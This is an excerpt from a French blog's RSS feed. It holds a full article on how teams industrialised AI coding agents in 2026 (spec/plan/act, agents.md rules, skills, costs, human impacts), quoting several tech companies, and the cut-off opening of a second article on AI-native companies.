            <title><![CDATA[Impact de l'IA sur l'état de l'art de l'ingénierie logicielle en 2026]]></title>
            <link>https://eventuallycoding.com/p/2026-02-context-driven-engineering</link>
            <guid>https://eventuallycoding.com/p/2026-02-context-driven-engineering</guid>
            <pubDate>Fri, 06 Feb 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Comment l'IA a-t-elle transformé l'ingénierie logicielle ? De la fin de l'ego-coding au 'Context Driven Engineering', découvrez des retours d'expérience de Doctolib, Malt, Alan et Google sur l'industrialisation des agents IA en 2026]]></description>
            <content:encoded><![CDATA[<h2>Intro</h2>
<p>2025 a été un tournant majeur dans l&#39;usage de l&#39;IA, bien au-delà du simple usage individuel.</p>
<p>Depuis 2020 nous sommes passé du monde de l’auto complétion à l’industrialisation :</p>
<ul>
<li>2021 avec Github Copilot : un usage individuel, essentiellement tourné autour d&#39;une autocomplétion évoluée.</li>
<li>puis un usage dans le navigateur pour des tâches plus complexes, nécessitant de multiples allers/retours et copier-coller</li>
<li>2025 avec Claude Code, ou Windsurf et Cursor : un usage sur le poste du développeur à travers des assistants de code</li>
</ul>
<p>En passant progressivement de quelques lignes produites par auto complétion, à des applications codées à plus de 90% par des assistants IA, les équipes de dev doivent faire face à une obligation d&#39;industrialiser cette pratique au risque de grosses déconvenues.</p>
<p>Et plus que ça, à partir du moment où le métier de développeur change, c&#39;est en réalité toute l&#39;équipe de développement qui doit muter avec lui.</p>
<p>Ce n&#39;est plus uniquement un simple sujet de tooling, mais un sujet d&#39;industrialisation à l&#39;échelle d&#39;une équipe, tout comme les frameworks de tests automatisés ont changé la façon de créer du logiciel début des années 2000.</p>
<p><em>(On testait évidemment avant les années 2000, mais la façon dont on a réfléchi à l&#39;automatisation de ces tests via les frameworks xUnit, l&#39;avènement des usines logicielles (CI/CD) etc... est plus récente)</em></p>
<p>Dans cet article, on va explorer comment les équipes de devs se sont adaptées via des témoignages de plusieurs boîtes Tech qui ont participé à la rédaction en abordant :</p>
<ul>
<li><strong>Le Context Driven Engineering, nouveau paradigme</strong></li>
<li><strong>Spec/Plan/Act : le workflow de référence</strong></li>
<li><strong>L’écosystème des AI Rules</strong></li>
<li><strong>La gouvernance et l’industrialisation</strong></li>
<li><strong>Les défis Humains</strong></li>
</ul>
<h2>Context driven engineering</h2>
<p>Si le terme vibe coding s&#39;est imposé début 2025, on parlera plus volontiers désormais de <a href="https://www.thoughtworks.com/insights/podcasts/technology-podcasts/talking-context-engineering">Context driven engineering</a> ou <a href="https://addyosmani.com/blog/agentic-engineering/">d'agentic engineering</a>. L&#39;idée n&#39;est plus de donner un prompt, mais de fournir un contexte complet incluant l&#39;intention <strong>ET les contraintes</strong> (coding guidelines etc...).</p>
<p>Le Context Driven Engineering vise à réduire la part non déterministe du processus et fiabiliser la qualité de ce qui est produit.</p>
<p>Avec le CDE, si la spec n&#39;a pas toujours été bien vue, elle redevient un citoyen de première zone et devient une obligation avant le code.</p>
<blockquote>
<p>Separate your process into two PRs:</p>
<ul>
<li>The PR with the plan.</li>
<li>The PR with the implementation.
The main reason is that it mimics the classical research-design-implement loop.
The first part (the plan) is the RFC. Your reviewers know where they can focus their attention at this stage: the architecture, the technical choices, and naturally their tradeoffs. &quot;It&#39;s easier to use an eraser on the drawing board, than a sledgehammer at the construction site&quot;</li>
</ul>
</blockquote>
<p>Source : <a href="https://www.dein.fr/posts/2026-01-08-write-and-checkout-the-plan">Charles-Axel Dein (ex CTO Octopize et ex VP Engineering chez Gens de confiance)</a></p>
<p>On retrouve cette même logique ici chez Clever Cloud :</p>
<blockquote>
<p>Here is the paradox: when code becomes cheap, design becomes more valuable. Not less. You can now afford to spend time on architecture, discuss tradeoffs, commit to an approach before writing a single line of code. Specs are coming back, and the judgment to write good ones still requires years of building systems. </p>
</blockquote>
<p>Source : <a href="https://pierrezemb.fr/posts/llms-for-engineering/">Pierre Zemb (Staff Engineer chez Clever Cloud) </a></p>
<p>ou chez Google</p>
<blockquote>
<p>One common mistake is diving straight into code generation with a vague prompt. In my workflow, and in many others’, the first step is brainstorming a detailed specification with the AI, then outlining a step-by-step plan, before writing any actual code. </p>
</blockquote>
<p>Source : <a href="https://addyo.substack.com/p/my-llm-coding-workflow-going-into">Addy Osmani (Director sur Google Cloud AI) </a></p>
<p>Bref, on retrouve désormais cette méthode un peu partout :</p>
<ul>
<li>spec</li>
<li>plan</li>
<li>act</li>
</ul>
<p><img src="https://writizzy.b-cdn.net/blogs/3d2c312a-df80-4b93-b164-0dfd3902f0f8/media/1772179390953-cover.jpg" alt="" /></p>
<h2>Spec/Plan/Act</h2>
<p><strong>Spec :</strong> La spécification regroupe les cas d&#39;usages : les intentions exprimées par l&#39;équipe de développement. On peut l’appeler RFC (request for change), ADR (architecture decision record), ou PRD (Product requirement document) selon les contextes et les entreprises.</p>
<p>C’est le document de base pour démarrer un développement avec une IA. La spec est habituellement relue par les experts produits, devs ou pas.</p>
<p>L’usage d’IA n’est pas rare non plus à cette étape (Cf. plus loin dans l’article).</p>
<p>Mais le contexte ne se limite pas à cela. Pour limiter les initiatives malheureuses des IA, il faut également lui fournir des contraintes, les normes de développement, les outils à utiliser, les docs à suivre. On verra ce point plus loin.</p>
<p><strong>Plan :</strong> Le plan d&#39;implémentation liste l&#39;ensemble des étapes pour implémenter la spécification. Cette liste doit être exhaustive, chaque étape doit être réalisable par un agent de façon autonome avec le contexte nécessaire et suffisant. C&#39;est habituellement relue par des seniors (architecte, staff, tech lead etc... en fonction des entreprises).</p>
<p><strong>Act :</strong> Il s’agit de l’étape d’implémentation et peut être répartie à des sessions agentiques.</p>
<p>Dans de nombreuses équipes, cette session peut se faire selon deux méthodes :</p>
<p>* </p>
<ul>
<li>le mode <strong>copilote</strong>/pair programming avec une validation de chaque modification une par une</li>
<li>le mode <strong>agent</strong>, ou le développeur donne l&#39;intention puis vérifie le résultat (on verra comment plus tard)</li>
</ul>
<p>On retrouve bien sûr des variations, comme par exemple chez Ilek qui détaille d’avantage la partie Act :</p>
<blockquote>
<p>Nous en somme à la première phase de l’industrialisation qui est l’adoption. L’objectif c’est que d’ici la fin du trimestre tous les dev s’appuient sur ce framework et que l’utilisation des prompts/agents soit un réflexe. On vise donc une adoption de 100% d’ici fin mars.
Notre workflow part du besoin et se découpe en plusieurs étapes qui vise à challenger les devs dans les phases de réflexion jusqu’à la validation du code produit. Voici la liste des étapes qu’on suit:
1- elaborate (challenge le besoin et interroge sur les cas limites, les choix techniques, l’architecture, etc.)
2- plan (propose un découpage technique, ce plan est fourni en sortie dans un fichier Markdown)
3- implement (Des agents vont réaliser les étapes du plan)
4- assert (un agent va valider que le résultat final répond aux attentes, lint, test, guideline)
5- review (des agents vont faire un review technique et fonctionnelle)
6- learn (mise à jour du context)
7- push (création de la MR sur gitlab)
Tout ce processus se fait en local et est piloté par un développeur.</p>
</blockquote>
<p>Cédric Gérard (Ilek)</p>
<p>Si cette méthode en 3 phases semble faire consensus, on voit pas mal d’expérimentations pour encadrer et renforcer ces pratiques, notamment avec deux outils qui reviennent régulièrement dans les discussions : <a href="https://github.com/bmad-code-org/BMAD-METHOD">Bmad</a> et <a href="https://github.com/github/spec-kit">SpeckKit</a>.</p>
<p>Pour avoir testé les deux, on peut aboutir assez facilement à une surdocumentation un peu verbeuse et un ralentissement du cycle de dev.</p>
<p>J&#39;ai l&#39;intuition qu&#39;il faut éviter de reproduire numériquement des processus humains qui étaient déjà bancals. A-t-on vraiment besoin de tous les rôles proposés par BMAD par exemple ? J’ai eu l’impression de faire du SaFe en mode solo et ce n&#39;était pas une bonne expérience :)</p>
<p>Ce qui est sûr, c&#39;est que si la spec redevient reine, la spec nécessaire à une IA se doit d&#39;être simple, sans ambiguïté. La verbosité peut nuire à l&#39;efficacité des assistants de code.</p>
<h2>L’écosystème des AI Rules</h2>
<p>Si le mode agentique semble prendre le dessus sur le mode copilote, cela vient avec des contraintes supplémentaires pour s&#39;assurer de la qualité. On veut absolument s&#39;assurer :</p>
<ul>
<li>que l&#39;implémentation respecte la spec</li>
<li>que le code produit respecte les standards de l&#39;équipe</li>
<li>que le code utilise les bonnes versions des librairies du projet</li>
</ul>
<p>Pour s&#39;assurer de la qualité produite, les équipes fournissent le contexte nécessaire pour informer l&#39;assistant de code des contraintes à respecter. Paradoxalement, malgré la mauvaise réputation du vibe coding et son usage auparavant réservé aux prototypes, le Context Driven Engineering remet les bonnes pratiques d&#39;ingénierie habituelles (harnais de test, linters etc...) sur le devant de la scène. Sans elles, il devient impossible de s&#39;assurer de la qualité du code et de l&#39;architecture.</p>
<p>En plus de toutes les bonnes pratiques classiques, la plupart des systèmes agents viennent avec leurs propres concepts : le fichier de contexte général (<a href="https://agents.md">agents.md</a>), les skills, les serveurs MCP, les agents.</p>
<h3><strong>agents.md</strong></h3>
<p>Un assistant de code va lire plusieurs fichiers en plus de la spec qu&#39;on lui fournit. Chaque assistant de code propose son propre fichier : <code>Claude.md</code> pour Claude, <code>.cursorrules</code> pour Cursor, <code>windsurfrules</code> pour Windsurf etc...</p>
<p>Il existe une tentative d&#39;harmonisation via <a href="https://agents.md/">agents.md</a> mais l&#39;idée est toujours globalement la même : une sorte de README pour AI. Ce README peut s&#39;utiliser de façon hiérarchique, on peut en effet avoir un fichier à la racine, puis un fichier par répertoire où c&#39;est pertinent.</p>
<pre><code>| agents.md
| 
` application 1
  | 
  ` agents.md 
</code></pre>
<p>Ce fichier contient les instructions à suivre systématiquement, exemple :</p>
<pre><code>- l&#39;interface est en anglais obligatoirement
- dans le backend nuxt (`server/api/`), on utilise TOUJOURS le client OpenAPI généré (`~~/server/utils/openapi`), jamais `$fetch` direct
</code></pre>
<p>et peut faire référence à d&#39;autres fichiers.</p>
<pre><code>Si tu dois travailler en kotlin, toujours charger le fichier rules/kotlin.md 
</code></pre>
<p>Avoir plusieurs fichiers permet à chaque agent de travailler avec un contexte réduit, ce qui améliore l&#39;efficacité de l&#39;agent en question (sans parler de l&#39;économie sur les coûts).</p>
<h3>Les skills, agents, serveurs MCP</h3>
<p>En fonction des outils utilisés, on retrouve plusieurs notions qui ont chacun des usages différents.</p>
<p>Une skill explicite à un agent IA comment réaliser un type d&#39;opération.</p>
<p>Par exemple, on peut lui donner les commandes à utiliser pour appeler certains outils de génération de code, ou de vérification statique.</p>
<p>Un agent peut être impliqué pour prendre en charge une tâche spécifique. On peut par exemple avoir un agent dédié à la documentation externe avec des instructions quant au ton à adopter, l&#39;organisation recherchée etc...</p>
<p>Les serveurs MCP permettent d&#39;enrichir la boîte à outils de l&#39;agent IA. Cela peut être des accès direct à une documentation (par exemple <a href="https://nuxt.com/docs/4.x/guide/ai/mcp">la doc de Nuxt</a>), voire à des outils pour consulter les infos d&#39;un compte de test comme <a href="https://docs.stripe.com/mcp">le MCP de Stripe</a>.</p>
<p>Il est encore trop tôt pour le dire, mais on pourrait voir apparaître une notion de dette technique liée à l’empilement de ces outils et il est fort à parier que l’on verra des techniques de refactorings et de tests se profiler dans le futur.</p>
<h2>La gouvernance et l’industrialisation</h2>
<p>Avec l’apparition de ces nouveaux outils vient une question : comment uniformiser la pratique et profiter des bonnes pratiques de chacun ?</p>
<p>Comme le dit Benjamin Levêque (Brevo)</p>
<blockquote>
<p>L&#39;idée c&#39;est : au lieu que chacun galère avec ses propres prompts dans son coin, on met en commun nos découvertes pour que tout le monde en profite.  </p>
</blockquote>
<h3>Des Marketplaces d&#39;entreprises</h3>
<p>Une des premières réponses pour la mise en commun repose sur la notion de marketplace d’entreprise :</p>
<blockquote>
<p>Chez Brevo, on vient de lancer une marketplace interne avec des skills et des agents. Ca nous permet d&#39;uniformiser le code généré via l&#39;IA (avec Claude Code), tout en respectant les standards définis par les &quot;experts&quot; de chaque domaine (langage, techno, etc.). Les 3 composants dans claude code : On transforme nos succès en Skills (instructions réutilisables), en Subagents (IA spécialisées) et en Patterns (nos meilleures architectures). Ne pas réinventer la roue : On passe d&#39;une utilisation &quot;au feeling&quot; à une méthode systématique.</p>
</blockquote>
<p>Benjamin Levêque et Maxence Bourquin (Brevo)</p>
<blockquote>
<p>Chez Manomano on a aussi initié un repository afin d&#39;y transposer nos guidelines et ADR sous un format machine friendly. On décline ensuite des agents et des skills que l&#39;on va ensuite installer dans claude code / opencode. On a un outil de bootstrap de machine interne, on y a ajouté ce repo ce qui fait que tout les tech de la boite se retrouve outillés. C&#39;est ensuite à chacun de référencer les règles ou skills qui sont pertinents en fonction des services. On a des skills typés intégration (utilisation de notre IAC interne pour ajouter X ou Y), d&#39;autres qui sont des pratiques (faire une revue de code : comment faire du react a Manomano) et des commandes qui couvrent plus des orchestrations (tech refinement, implementation de feature avec revue). On observe aussi qu&#39;il est difficile d&#39;uniformiser les installations de MCP chez chacun, ce qui est dommage quand on voit l&#39;impact de certains sur la qualité de ce qu&#39;on peut produire (Serena a été cité et je rajouterai sequential-thinking). On en est au point ou on se demande comment garantir un env iso chez tout les dev, ou comment le rendre cohérent chez tout le monde </p>
</blockquote>
<p>Vincent AUBRUN (Manomano)</p>
<blockquote>
<p>Chez Malt, nous avons aussi démarré la mise en commun de commands / skills / AGENTS.MD / CLAUDE.MD. Classiquement, l&#39;objectif des versions initiales est de partager un certain nombre de connaissances qui permettent à l&#39;agent de ne pas repartir de zéro. Les propositions (via MR typiquement) sont revues dans le cadre des guildes (backend / frontend / ia). A noter qu&#39;on se cherche encore beaucoup à l&#39;échelle de l&#39;engineering. Il est notamment compliqué de savoir si un élément partagé est vraiment utile au plus grand nombre.</p>
</blockquote>
<p>Guillaume Darmont (Malt)</p>
<p>A noter qu’il existe des marketplace publiques, on peut citer :</p>
<ul>
<li><a href="https://claudemarketplaces.com/">la marketplace Claude</a></li>
<li><a href="https://skills.sh/">une marketplace par vercel</a></li>
</ul>
<p>Attention cependant, il est obligatoire de relire tout ce que vous installez…</p>
<p>Parmi les méthodes de déploiement, beaucoup ont privilégié des outils customs, mais François Descamps de Axa nous cite une autre solution :</p>
<blockquote>
<p>Pour le partage des primitives, nous explorons APM (<a href="https://github.com/danielmeppiel/apm">agent package manager</a>) de Daniel Meppiel. J’aime beaucoup le fonctionnement, il est assez facile d’utilisation et s’utilise pour la partie gestion de dépendances comme NPM.</p>
</blockquote>
<h3>Intégration dans la CI/CD</h3>
<p>Malgré toutes les instructions fournies, il arrive régulièrement que certaines soient ignorées. Il arrive aussi que les instructions soient ambiguës et mal interprétées. C&#39;est là où les équipes mettent en place obligatoirement des outils pour encadrer les IA :</p>
<ul>
<li>linting</li>
<li>harnais de test</li>
<li>revues de code</li>
</ul>
<p>Si l&#39;œil humain reste obligatoire pour tous les participants interrogés, ces outils eux-mêmes peuvent s&#39;appuyer partiellement sur des IA.<br>Les IA peuvent en effet rédiger les tests. L&#39;humain vérifie alors la pertinence des tests proposés.<br>Plusieurs équipes ont également créé des agents spécialisés dans la revue avec des scopes bien spécifiques : la sécurité, la performance etc...<br>D&#39;autres utilisent des outils automatisés, certains directement branchés sur la CI (ou sur Github).</p>
<p>(je ne les cite pas mais vous pouvez les trouver facilement).</p>
<p>Liée à cette notion de CI/CD, une question qui revient souvent :</p>
<blockquote>
<p>Il est également très difficile de savoir si une &quot;amélioration&quot;, i.e. modification dans le fichier CLAUDE.MD par exemple, en est réellement une. Est-ce que la qualité des réponses sera réellement meilleure après la modif ?</p>
</blockquote>
<p><em>Guillaume Darmont (Malt)</em></p>
<p>Est-ce que je peux évaluer un modèle ? Si je change mes guidelines, est-ce que l&#39;IA génère toujours un code qui passe mes critères de sécurité et de performance ? Est-ce qu’on peut traiter le prompt/contexte comme du code (Tests unitaires de prompts).</p>
<p>A cela Julien Tanay (Doctolib) nous dit :</p>
<blockquote>
<p>A propos de la question &quot;est(ce que ce changement sur le skill le rend meilleur ou moins bon&quot;, on va commencer a regarder <code>promptfoo</code> et <code>brainstrust</code> (utilisé en prod pour l&#39;IA produit chez nous) pour<a href="https://www.anthropic.com/engineering/demystifying-evals-for-ai-agents"> faire de l'eval</a> dans la CI.(...)
Par exemple avec promptfoo, tu vas vérifier, dans une PR, que pour les 10 variantes d&#39;un prompt &quot;(...) setup my env&quot; le skill env-setup est bien trigger, et que l&#39;output est correct. Tu peux vérifier l&#39;appel du skill programmatiquement, et l&#39;output soit via &quot;human as a judge&quot;, ou plutot &quot;LLM as a judge&quot; dans le cadre d&#39;une CI</p>
</blockquote>
<p>L’ensemble des discussions semble indiquer que le sujet est encore en recherche, mais qu’il existe déjà des pistes de travail.</p>
<h3>Les coûts</h3>
<blockquote>
<p>On avait un KPI principal qui était d&#39;obtenir 100% d&#39;adoption pour ces outils en un trimestre (...) Au début notre KPI principal c&#39;était l&#39;adoption, pas le coût.</p>
</blockquote>
<p><a href="https://www.youtube.com/watch?v=5mwoVArfkpc">Julien Tanay (Staff engineer chez Doctolib)</a></p>
<p>Le coût vient en effet souvent en seconde partie. Le schéma classique, c’est l’adoption, puis l’optimisation.</p>
<p>Pour maîtriser les coûts, il y a d&#39;une part l&#39;optimisation des sessions, qui passe par</p>
<ul>
<li>le fait de garder des fenêtres de sessions courtes, en ayant découpé le travail en petites étapes indépendantes.</li>
<li>l&#39;usage de la commande /compact pour garder uniquement le contexte nécessaire (ou le fait de flusher ce contexte dans un fichier pour reprendre une nouvelle session)</li>
</ul>
<p>On retrouve par exemple <a href="https://www.linkedin.com/posts/alexandrebalmes_speckit-cest-trop-bien-pour-lia-oui-maiiiiiissss-activity-7407473589609922560-d-D3/">ces conseils proposés par Alexandre Balmes sur Linkedin</a>.</p>
<p>Cette maîtrise des coûts peut être centralisée avec les licences entreprises.<br>Cette bascule entre clé individuelle et clé entreprise fait parfois partie de la procédure d&#39;adoption :</p>
<blockquote>
<p>On une strat progressive sur les coûts. On fournit une clef d&#39;api pour les nouveaux, afin de suivre leurs usages et payer au plus proche de la conso. Passer un seuil on les bascule sur des licences Anthropic enterprise car on estime que c&#39;est plus intéressant pour les usages quotidiens.</p>
</blockquote>
<p><em>Vincent Aubrun (ManoMano)</em></p>
<p>Sur le coût mensuel par développeur, les différentes discussions permettent de faire émerger 3 catégories :</p>
<table>
<thead>
<tr>
<th align="left">Equipe en cours d’adoption et équipes avec un usage en “best effort”</th>
<th align="left">Adoption forte et usage poussé à tous les niveaux</th>
<th align="left">Usages poussés, multi agents, IA intégré dans toute la CI</th>
</tr>
</thead>
<tbody><tr>
<td align="left">environ <strong>20€/mois</strong></td>
<td align="left">environ <strong>200€/mois</strong></td>
<td align="left">de <strong>200 à 1000€/mois</strong> <br><br> <em>outliers observés bien au-delà</em></td>
</tr>
</tbody></table>
<p>La grande majorité oscille entre la catégorie 1 et 2.</p>
<h3>La documentation, effet de bord positif des IA</h3>
<p>Quand on parle de gouvernance, la documentation étant devenue le nouveau langage de programmation, elle redevient un citoyen de première zone.</p>
<p>On la retrouve dans les specs en markdown présent sur le projet, les ADR/RFC etc... Ces docs sont désormais maintenues en même temps que le code est produit.</p>
<blockquote>
<p>Alors nous on a déclaré que le markdown c&#39;était la source de vérité. Confluence en PLS :)</p>
</blockquote>
<p><em>Julien Tanay (Doctolib)</em></p>
<p>Ce n’est plus un simple micro événement dans le cycle de dev du produit, géré parce qu’il le faut et rangé au placard. Les équipes les plus matures font désormais évoluer la doc <strong>pour</strong> faire évoluer le code, ce qui permet d’éviter le fameux syndrome des piles de documents d’entreprises obsolètes qui trainent sur un drive partagé.</p>
<p>Cela a de nombreux avantages, elle peut être utilisée par des agents spécialisés pour l&#39;écriture de la doc utilisateur (la doc end user), ou être utilisée dans un RAG pour servir de base de connaissance, pour le support client, l&#39;onboarding des nouveaux arrivants etc…</p>
<blockquote>
<p>L&#39;intégration de ce framework impacte la façon de gérer les incidents. Il offre la possibilité de debugger nos services avec des agents spécialisés qui peuvent s’appuyer sur les logs par exemple. Il est possible d’intérroger le code et la memory bank qui agit comme une documentation vivante.</p>
</blockquote>
<p><em>Cédric Gérard (Ilek)</em></p>
<h3>La propriété intellectuelle</h3>
<p>L’un des sujets majeurs qui revient est évidemment la propriété intellectuelle. Il ne s’agit plus de faire de simples copier-coller dans un navigateur avec un contexte choisi, mais de donner accès à la codebase entière.</p>
<p>C’est une des grandes motivations de passer sur les licenses enterprise qui contiennent des clauses contractuelles de type “zero data training”, voire “<a href="https://privacy.claude.com/en/articles/8956058-i-have-a-zero-data-retention-agreement-with-anthropic-what-products-does-it-apply-to">zero data retention</a>”.</p>
<p>En 2026 on devrait aussi voir apparaître l’AI act et <a href="https://www.iso.org/fr/standard/42001">la certification ISO 42001</a> pour auditer la manière dont les données sont collectées et traitées.</p>
<p>Dans les usages enterprise on note aussi des montages via des partenariats comme celui entre Google et Anthropic :</p>
<blockquote>
<p>De notre côté, nous n&#39;avons pas besoin d&#39;allouer un montant à l&#39;avance, ni d&#39;acheter des licences, car nous utilisons les modèles Anthropic déployés sur Vertex AI d&#39;un de nos projets GCP.
Il suffit ensuite de faire pointer Claude Code sur Vertex AI.
Cette configuration adresse également les problématiques de propriété intellectuelle.</p>
</blockquote>
<p>Sur tous ces points, une autre piste semble être d’utiliser des modèles locaux. On peut citer <strong>Mistral</strong> (via Pixtral ou Codestral) qui propose de faire tourner ces modèles sur des serveurs privés pour garantir qu&#39;aucune donnée ne franchit le firewall de l&#39;entreprise.</p>
<p>J’imagine que ce serait également possible avec Ollama.</p>
<p>Cependant je n’ai rencontré qu’une seule entreprise qui travaillait sur cette piste pendant mes discussions. Mais on peut anticiper que l&#39;essor des modèles locaux sera plutôt un sujet 2026 ou 2027.</p>
<h2>Les impacts humains</h2>
<h3>Le recrutement</h3>
<p>Si l&#39;IA est désormais solidement implantée dans de nombreuses équipes, ses impacts dépassent désormais le cadre du seul développement.</p>
<p>On retrouve notamment des réflexions autour <a href="https://medium.com/alan/stop-testing-engineers-like-its-2015-why-we-embraced-ai-in-our-interviews-a21adec28a4f">du recrutement chez Alan</a></p>
<blockquote>
<p>Picture this: You’re hiring a software engineer in 2025, and during the technical interview, you ask them to solve a coding problem without using any AI tools. It’s like asking a carpenter to build a house without power tools, or a designer to create graphics without Photoshop. You’re essentially testing them on skills they’ll never use in their actual job.
This realization hit us hard at Alan. As we watched our engineering teams increasingly rely on AI tools for daily tasks — with over 90% of engineers using AI-powered coding assistants — we faced an uncomfortable truth: our technical interview was completely disconnected from how modern engineers actually work. </p>
</blockquote>
<p><em>Emma Goldblum (Engineering chez Alan)</em></p>
<h3>La formation des juniors</h3>
<p>Un des gros sujets porte sur la formation des juniors qui peuvent être rapidement en danger avec l&#39;usage de l&#39;IA. Ils sont en effet moins productifs désormais, et n&#39;ont pas toujours l&#39;expérience nécessaire pour challenger correctement le code produit, ou écrire correctement les spécifications. Une grande partie des tâches autrefois attribuées aux juniors est dorénavant monopolisée par les IA (code boiler plate, validation de formulaire, tâches répétitives etc...).</p>
<p>Cependant, toutes les équipes reconnaissent la nécessité d&#39;embarquer les juniors pour ne pas créer un fossé d&#39;expérience dans le futur.</p>
<p>Malgré cette prise de conscience, je n’ai pas vu d’initiatives spécifiquement sur le sujet qui viserait à adapter la formation des plus juniors.</p>
<h3>L’accueil des nouveaux arrivants</h3>
<p>Enfin l&#39;accueil des nouveaux arrivants est bousculé par l&#39;IA, notamment parce qu&#39;il est désormais possible de les accompagner pour découvrir le produit</p>
<blockquote>
<p>Certaines équipes ont un skill d&#39;onboarding qui aide a setup l&#39;env, fait un tour de la codebase, fait une PR d&#39;exemple... Les gens sont créatifs*</p>
</blockquote>
<p><em>Julien Tanay (Doctolib)</em></p>
<p>Par effet de bord, ce point est jugé facilité par les changements induits par l’IA, notamment aidé par le fait que les documentations soient mises à jour plus régulièrement et que l’ensemble des guidelines soient très explicites.</p>
<h3>L’accompagnement vers un changement de métier</h3>
<p>Un des éléments peu abordés reste l’accompagnement des développeurs face à une mutation de leur métier.</p>
<blockquote>
<p>On déplace la valeur des développeurs de la production du code à la maîtrise du métier. Cela oblige à prendre beaucoup de hauteur.
L’écriture du code, les pratiques comme le TDD sont des éléments qui participent au plaisir qu’on prend dans le travail. L’IA vient bouleverser ça et certain ne seront peut-être pas capable de s’epanouir dans cette évolution de notre métier</p>
</blockquote>
<p><em>Cédric Gérard (Ilek)</em></p>
<p>La question n’est pas de savoir si le métier de développeur touche à sa fin, mais plutôt dans quelle mesure il évolue et quelles sont les nouvelles compétences à acquérir.</p>
<p>On peut comparer ces évolutions à ce qui est arrivé dans le passé lors des transitions entre les cartes perforées et la programmation interactive, ou avec l’arrivée des langages de plus haut niveau. Avec l’IA les équipes de développement gagnent en niveau d’abstraction, mais gardent les mêmes défis, identifier les bons problèmes à résoudre, trouver quelles sont les solutions technologiques adéquates, réfléchir en termes de sécurité, performance, fiabilité et de compromis entre tout cela.</p>
<p>Malgré tout, cette évolution n’est pas forcément bien vécue par tous et il devient nécessaire dans les équipes d’accompagner les personnes à considérer le développement sous un angle différent pour retrouver l’intérêt du métier.</p>
<p>Cédric Gérard nous met en garde également contre d&#39;autres risques : </p>
<blockquote>
<p>Il y a un risque sur la qualité des productions qui diminue. L’ia n’étant parfaite, il faut être très attentif au code généré. Cependant review du code ce n’est pas comme produire du code. La review c’est fastidieux et on peut très rapidement se laisser aller. 
A cela s&#39;ajoute un risque de perte de compétence. Lire n’est pas écrire et on peut s’attendre à développer une capacité d’évaluation, mais un perdant petit à petit en créativité</p>
</blockquote>
<h2>Conclusion</h2>
<p>2025 a vu l’essor de la programmation agentique, 2026 sera sans doute une année d’apprentissage en entreprise autour de l’industrialisation de ces outils.</p>
<p>Il y a des points dont je me réjouis, c&#39;est le retour en force de la <strong>pensée système</strong>. Le &quot;Context Driven Engineering&quot; nous force à redevenir de bons architectes et de bons concepteurs produit. Si vous ne savez pas expliquer ce que vous voulez faire (la spec) et comment vous comptez le faire (le plan), l&#39;IA ne vous sauvera pas ; elle produira juste de la dette technique à une vitesse industrielle.</p>
<p>Un autre effet de bord inattendu pourrait être la fin de <strong>l&#39;ego coding</strong>, la disparition progressive de l&#39;attachement émotionnel au code produit qui créait parfois des discussions compliquées, par exemple lors des revues de code. En espérant que cela nous rende plus critique et moins réticent à jeter du code et des fonctionnalités non utilisées.</p>
<p>Quoi qu&#39;il en soit, la différence entre une équipe moyenne et une équipe d&#39;élite ne s&#39;est jamais autant jouée sur des compétences &quot;anciennes&quot;. Savoir challenger une architecture, poser de bonnes contraintes de développement, avoir une bonne CI/CD, anticiper les failles de sécurité, et maintenir une documentation vivante seront d’autant plus critiques qu’avant. Et par expérience ce n’est pas si acquis que cela partout.</p>
<p>Maintenant, il reste des questions, il va falloir apprendre à piloter un nouvel écosystème d&#39;agents tout en gardant le contrôle. Entre les enjeux de souveraineté, les questions autour des modèles locaux, la capacité à tester la reproductibilité et la qualité des prompts, l&#39;explosion des coûts et la mutation du rôle de junior, nous sommes encore en pleine phase d&#39;apprentissage.</p>
]]></content:encoded>
            <enclosure url="https://writizzy.b-cdn.net/blogs/3d2c312a-df80-4b93-b164-0dfd3902f0f8/media/1772179391028-cover.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Quand le code devient une commodité: La montée des sociétés AI natives]]></title>
            <link>https://eventuallycoding.com/p/2026-01-ai-native-companies</link>
            <guid>https://eventuallycoding.com/p/2026-01-ai-native-companies</guid>
            <pubDate>Wed, 28 Jan 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Après le Cloud Native, place aux entreprises IA Natives. Découvrez comment l'IA transforme le code en commodité et pourquoi le dilemme "Build or Buy" devient "Build, Buy, Run or Vibe" (BBRV). Quel est le nouveau MOAT d'un logiciel quand le code n'est plus une barrière ?]]></description>
            <content:encoded><![CDATA[<p>En 2003 je faisais une formation &quot;architecte&quot; et on m&#39;apprenait alors que l&#39;un des principaux problèmes que je devrais gérer à l&#39;avenir, <a href="https://martinfowler.com/bliki/TwoHardThings.html">outre le naming et la durée de vie d'un cache</a>, ce serait de répondre à la question <strong>Build or Buy</strong>.</p>
<p>Et en effet, on devait constamment trouver le bon équilibre entre construire du logiciel, ou l&#39;acheter sur étagère.
L&#39;open source existait bien sûr, je pourrais citer Mysql ou Apache, mais il n&#39;y avait pas autant de logiciel open source complet qu&#39;aujourd&#39;hui.</p>
<p>Avec le temps justement cet essor de l&#39;open source a changé la donne.</p>
<p>Je peux aujourd&#39;hui par exemple faire tourner une application sur un PAAS open source (coolify), utiliser metabase pour de la data analyse, openpanel pour du web analytics, listmonk pour de l&#39;envoi de newsletter etc...
Je peux faire le choix d&#39;héberger et de faire tourner beaucoup de logiciels qui étaient auparavant uniquement disponibles en version propriétaire.</p>
<p>Donc à partir de là, c&#39;était plus juste Build or Buy mais Build or Buy or Run. Le run apportant lui-même son lot de contraintes et de compromis.</p>
<p>Mais depuis l&#39;an dernier, on assiste à nouveau à un changement et le problème est devenu <strong>Build, Buy, Run or Vibe</strong> (BBRV).<br><em>(vibe étant lié au vibe coding, même si aujourd&#39;hui on s&#39;éloigne de plus en plus du simple vibe coding pour une véritable industrialisation de l&#39;usage de l&#39;IA)</em></p>
<h2>L&#39;illusion des MOAT par la quantité de code</h2>
<p>Un Moat (douve en anglais), c&#39;est un avantage défensif durable. On essaie souvent quand on construit un logiciel de se créer un MOAT, c&#39;est-à-dire un avantage compétitif.
Pendant très longtemps, ce MOAT pouvait être simplement qu&#39;un logiciel nécessitait trop de temps à être reconstruit, sans être crucial pour une entreprise.</p>
<p>Prenons par exemple un logiciel qui vous fournit la gestion de feature flag (unleash ou launchdarkly). C&#39;est pas complexe en soi, mais c&#39;est rarement coeur pour une entreprise. Donc dans le dilemne classique de Build or Buy, le Buy était souvent privilégié. Quelle serait la plus-value de reconstruire ça ?</p>
<p>Sauf que désormais, beaucoup de softs &quot;simples&quot; sont reproductibles avec des assistants de code boosté à l&#39;IA.</p>
